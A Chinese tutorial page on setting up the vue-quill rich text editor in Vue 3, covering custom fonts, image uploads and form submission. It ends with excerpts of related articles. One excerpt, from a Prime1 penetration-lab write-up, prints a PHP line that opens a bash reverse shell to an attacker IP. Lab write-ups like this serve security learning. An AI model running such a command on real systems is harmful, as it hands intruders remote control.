Vue3使用vue-quill富文本编辑器

安装依赖

npm install @vueup/vue-quill quill quill-image-uploader

自定义字体

把自定义字体样式放入font.css中在main.js中导入

.ql-snow .ql-picker.ql-font .ql-picker-label[data-value=SimSun]::before,
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=SimSun]::before {content: "宋体";font-family: "SimSun";
}
.ql-snow .ql-picker.ql-font .ql-picker-label[data-value=SimHei]::before,
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=SimHei]::before {content: "黑体";font-family: "SimHei";
}
.ql-snow .ql-picker.ql-font .ql-picker-label[data-value=Microsoft-YaHei]::before,
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=Microsoft-YaHei]::before {content: "微软雅黑";font-family: "Microsoft YaHei";
}
.ql-snow .ql-picker.ql-font .ql-picker-label[data-value=KaiTi]::before,
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=KaiTi]::before {content: "楷体";font-family: "KaiTi";
}
.ql-snow .ql-picker.ql-font .ql-picker-label[data-value=FangSong]::before,
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=FangSong]::before {content: "仿宋";font-family: "FangSong";
}
.ql-snow .ql-picker.ql-font .ql-picker-label[data-value=Arial]::before,
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=Arial]::before {content: "Arial";font-family: "Arial";
}
.ql-snow .ql-picker.ql-font .ql-picker-label[data-value=Times-New-Roman]::before,
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=Times-New-Roman]::before {content: "Times New Roman";font-family: "Times New Roman";
}
.ql-snow .ql-picker.ql-font .ql-picker-label[data-value=sans-serif]::before,
.ql-snow .ql-picker.ql-font .ql-picker-item[data-value=sans-serif]::before {content: "sans-serif";font-family: "sans-serif";
}.ql-font-SimSun {font-family: "SimSun";
}
.ql-font-SimHei {font-family: "SimHei";
}
.ql-font-Microsoft-YaHei {font-family: "Microsoft YaHei";
}
.ql-font-KaiTi {font-family: "KaiTi";
}
.ql-font-FangSong {font-family: "FangSong";
}
.ql-font-Arial {font-family: "Arial";
}
.ql-font-Times-New-Roman {font-family: "Times New Roman";
}
.ql-font-sans-serif {font-family: "sans-serif";
}

注册自定义字体到quill

案例

<template><div class="publish-form-container"><div class="publish-form"><form @submit.prevent="submitForm"><div class="form-group"><label for="content">内容</label><QuillEditor v-model="content" :options="editorOption" class="quill-editor" /></div><button type="submit" class="submit-btn">提交</button></form></div></div>
</template><script>
import { QuillEditor, Quill } from '@vueup/vue-quill';
import ImageUploader from 'quill-image-uploader';
import '@vueup/vue-quill/dist/vue-quill.snow.css';// 注册自定义字体到 Quill
const Font = Quill.import('formats/font');
Font.whitelist = ['SimSun', 'SimHei', 'Microsoft-YaHei', 'KaiTi', 'FangSong', 'Arial', 'Times-New-Roman', 'sans-serif'];
Quill.register(Font, true);// 注册图片上传模块
Quill.register("modules/imageUploader", ImageUploader);// 模拟上传API
const uploadFileAPI = async (fileData) => {// 模拟上传返回URLreturn new Promise((resolve) => {setTimeout(() => {resolve({ data: { filePath: 'https://lalallalal.com/' + fileData.file.name } });}, 1000);});
};// 将本地文件转换为URL
const getLocalImageURL = (file) => {return new Promise((resolve) => {const reader = new FileReader();reader.onload = (e) => {resolve(e.target.result);};reader.readAsDataURL(file);});
};export default {components: {QuillEditor,},data() {return {title: '',type: '',content: '',editorOption: {modules: {imageUploader: {upload: async (file) => {const localUrl = await getLocalImageURL(file);return localUrl; // 返回本地图片的 URL 进行预览},},toolbar: [[{ font: Font.whitelist }], // 字体['bold', 'italic', 'underline', 'strike'], // 加粗,斜体,下划线,删除线['blockquote', 'code-block'], // 引用,代码块[{ header: 1 }, { header: 2 }], // 标题1,标题2[{ list: 'ordered' }, { list: 'bullet' }], // 有序列表,无序列表[{ script: 'sub' }, { script: 'super' }], // 上标,下标[{ indent: '-1' }, { indent: '+1' }], // 缩进[{ direction: 'rtl' }], // 文字方向[{ size: ['small', false, 'large', 'huge'] }], // 文字大小[{ header: [1, 2, 3, 4, 5, 6, false] }], // 标题大小[{ color: [] }, { background: [] }], // 字体颜色,背景颜色[{ align: [] }], // 对齐['clean'], // 清除格式['link', 'image', 'video'], // 链接,图片,视频],},},};},methods: {// 提交表单方法async submitForm() {// 创建虚拟 DOM 来解析内容const parser = new DOMParser();const doc = parser.parseFromString(this.content, 'text/html');// 查找所有的本地图片const images = doc.querySelectorAll('img');const imageUploadPromises = [];images.forEach((img) => {const localSrc = img.getAttribute('src');// 如果是本地图片,上传图片并替换URLif (localSrc.startsWith('data:')) {const uploadPromise = uploadFileAPI({ file: this.dataURLtoFile(localSrc, 'image.png') }).then((res) => {img.setAttribute('src', res.data.filePath); // 替换成服务器上的图片URL});imageUploadPromises.push(uploadPromise);}});// 等待所有图片上传完成后提交表单try {await Promise.all(imageUploadPromises);// 上传完成后,更新内容const updatedContent = doc.body.innerHTML;const payload = {title: this.title,content: updatedContent,type: this.type,};console.log("提交的内容:", payload);const response = await fetch("/api/posts", {method: "POST",headers: {"Content-Type": "application/json",},body: JSON.stringify(payload),});const data = await response.json();console.log("发布成功", data);} catch (error) {console.error("发布失败", error);}},// 将 dataURL 转换为 File 对象的辅助函数dataURLtoFile(dataurl, filename) {const arr = dataurl.split(',');const mime = arr[0].match(/:(.*?);/)[1];const bstr = atob(arr[1]);let n = bstr.length;const u8arr = new Uint8Array(n);while (n--) {u8arr[n] = bstr.charCodeAt(n);}return new File([u8arr], filename, { type: mime });},},
};
</script><style lang="less" scoped>
//TODO
</style>

参考:在vue中Quill富文本编辑器的使用(主题、自定义工具栏、自定义字体选项、图片拖拽上传、图片改变大小)_quill-editor修改工具栏图标颜色-CSDN博客

Vue3使用vue-quill富文本编辑器并实现图片自定义上传替换默认base64格式图片_vue3 quill-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/432503.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VS Code使用Git Bash终端

Git Bash可以运行linux命令&#xff0c;在VS Code的终端界面&#xff0c;找到号旁边的箭头&#xff0c;就能直接切换了 当然&#xff0c;前提是安装了Git Bash&#xff0c;并且在资源管理器里&#xff0c;能鼠标右键出"Git Bash Here"

微信getUserProfile不弹出授权框

当我们在微信小程序开发工具中想要使用getUserProfile来获取个人信息的时候&#xff0c;会发现不弹出授权框&#xff0c;这是什么原因呢&#xff1f; 早在2022年的小程序官方公告中就已经明确给出了小程序用户头像昵称获取规则调整公告 因此如果还想继续使用getUserProfile的弹…

Unity 外描边简单实现(Shader Graph)

1&#xff1a;原理 将物体的模型空间的位置&#xff08;也就是顶点数据&#xff09;放大&#xff0c;作为一个单独的渲染通道单独渲染&#xff0c;这时候模型是已经发大过的&#xff0c;要想看到外描边的效果&#xff0c;需要将正面显示的东西给去掉&#xff0c;显示背面渲染的…

uniapp微信小程序,获取上一页面路由

在进入当前页面的时候&#xff0c;判断是不是从某个页面跳转过来的&#xff08;一般是当前页面为公共页面是出现的&#xff09;&#xff0c;比如 A-->B C-->B ,那么 要在 C跳转到B页面的时候多个提示语什么的 而在A跳转到B时不需要&#xff0c;那么就要判断 上一页面的…

衡石分析平台系统管理手册-功能配置之SMTP 服务

SMTP 服务​ SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议。它是一组用于从源地址到目的地址传输邮件的规范&#xff0c;通过它来控制邮件的中转方式。 HENGSHI 用户需要开启 SMTP 服务并进行配置&#xff0c;才能收到系统发送邮件。 SMTP 服务需要用户配置服务器…

传递正能量

“扫黑除恶&#xff0c;弘扬正气”学习心得 近日&#xff0c;我深入学习了关于“扫黑除恶&#xff0c;弘扬正气”的重要精神和相关政策&#xff0c;这次学习不仅让我对扫黑除恶的正确性、紧迫性和重要性有了更深的理解&#xff0c;也让我对如何弘扬社会正气、维护社会稳…

socket是什么?套接字是什么?

Socket的原意是“插座”。在计算机通信领域&#xff0c;socket 被翻译为“套接字”&#xff0c;它是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定&#xff0c;一台计算机可以接收其他计算机的数据&#xff0c;也可以向其他计算机发送数据。 我们把插头插到插…

仪表放大器AD620

AD623 是一款低功耗、高精度的仪表放大器&#xff0c;而不是轨到轨运算放大器。它的输入电压范围并不覆盖整个电源电压&#xff08;轨到轨&#xff09;&#xff0c;但在单电源供电下可以处理接近地电位的输入信号。 AD620 和 AD623 都是仪表放大器&#xff0c;但它们在一些关键…

网站建设中,常用的后台技术有哪些,他们分别擅长做什么网站平台

PHP、Python、JavaScript、Ruby、Java和.NET各自适用于不同类型的网站平台。以下是对这些编程语言适用场景的具体介绍&#xff1a; PHP Web开发&#xff1a;PHP是一种广泛使用的开源服务器端脚本语言&#xff0c;特别适合Web开发。全球有超过80%的网站使用PHP作为服务器端编程语…

MATLAB案例 | 沪深股市收益率的二元Copula模型

沪深股市收益率的二元Copula模型 1. 案例描述2.实现流程2.1 确定随机变量的边缘分布2.1.1 参数法计算流程2.1.2 非参数法 2.2 选取适当的Copula函数2.3 参数估计 3. 完整代码参考资料 1. 案例描述 现有上海和深圳股市同时期日开盘价、最高价、最低价、收盘价、收益率等数据,跨…

【FPGA必知必会】(二)7系列的配置(二)边界扫描与JTAG

1、边界扫描是什么 边界扫描&#xff08;Boundary Scan&#xff09;是一种用于测试和诊断电子系统的技术。它通过在电路板上的特定引脚上插入探针&#xff0c;并对这些引脚进行测量来确定电路板的状态。 这种技术可以用来检测电路板上的故障和错误&#xff0c;并且可以在不拆…

Lua中..和...的使用区别

一. .. 的用法 二. ... 的用法 在 Lua 中&#xff0c;... 是一个特殊符号&#xff0c;它用于表示不定数量的参数。当你在函数定义或调用中使用 ... 时&#xff0c;它可以匹配任意数量的参数&#xff0c;并将它们作为列表传递。在您的代码示例中&am…

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

刷题学习日记 (1) - SWPUCTF

写这篇文章主要是想看看自己一个下午能干啥&#xff0c;不想老是浪费时间了&#xff0c;所以刷多少题我就会写多少题解&#xff0c;使用nss随机刷题&#xff0c;但是今天下午不知道为啥一刷都是SWPUCTF的。 [SWPUCTF 2021 新生赛]gift_F12 控制台ctrlf搜索flag即可&#xff0…

【Python】自己写的包,在Spyder中跳不到自己包的位置怎么办?

我很喜欢用Spyder来做测试。但是我总是发现&#xff0c;我想要跳转外部的包或者自己写的包&#xff0c;但是发现不行。 解决的方法&#xff1a; 使用快捷键&#xff08;Ctrl 鼠标左键点击&#xff09;&#xff1a; 在 Spyder 中&#xff0c;你可以使用 Ctrl 鼠标左键点击 来…

作业报告┭┮﹏┭┮(Android反调试)

一&#xff1a;Android反调试 主要是用来防止IDA进行附加的&#xff0c;主要的方法思路就是&#xff0c;判断自身是否有父进程&#xff0c;判断是否端口被监听&#xff0c;然后通过调用so文件中的线程进行监视&#xff0c;这个线程开启一般JNI_OnLoad中进行开启的。但是这个是…

二进制文件与文本文件的区别【字符集Charset】

计算机上存储的文件在比特位上都是以二进制数字0或1表示&#xff0c;因此在物理层面上&#xff0c;文本文件和二进制文件没有本质差异&#xff0c;都是由数字0或1组成的比特位集合。 文本文件和二进制文件&#xff0c;两者的差异体现在编码逻辑&#xff0c;需要根据文件头中标…

PVE虚拟机被锁定locked解决方法

打开pve节点的shell&#xff0c;执行以下命令 qm unlock <VMID> 示例&#xff1a; qm unlock 112

伊犁云计算22-1 apache 安装rhel8

1 局域网网络必须通 2 yum 必须搭建成功 3 apache 必须安装 开干 要用su 用户来访问 一看httpd 组件安装完毕 到这里就是测试成功了 如何修改主页的目录 网站目录默认保存在/var/WWW/HTML 我希望改变/home/www 122 127 167 行要改

SQL Server的文本和图像函数

新书速览|SQL Server 2022从入门到精通&#xff1a;视频教学超值版_sql server 2022 出版社-CSDN博客 《SQL Server 2022从入门到精通&#xff08;视频教学超值版&#xff09;&#xff08;数据库技术丛书&#xff09;》(王英英)【摘要 书评 试读】- 京东图书 (jd.com) SQL Se…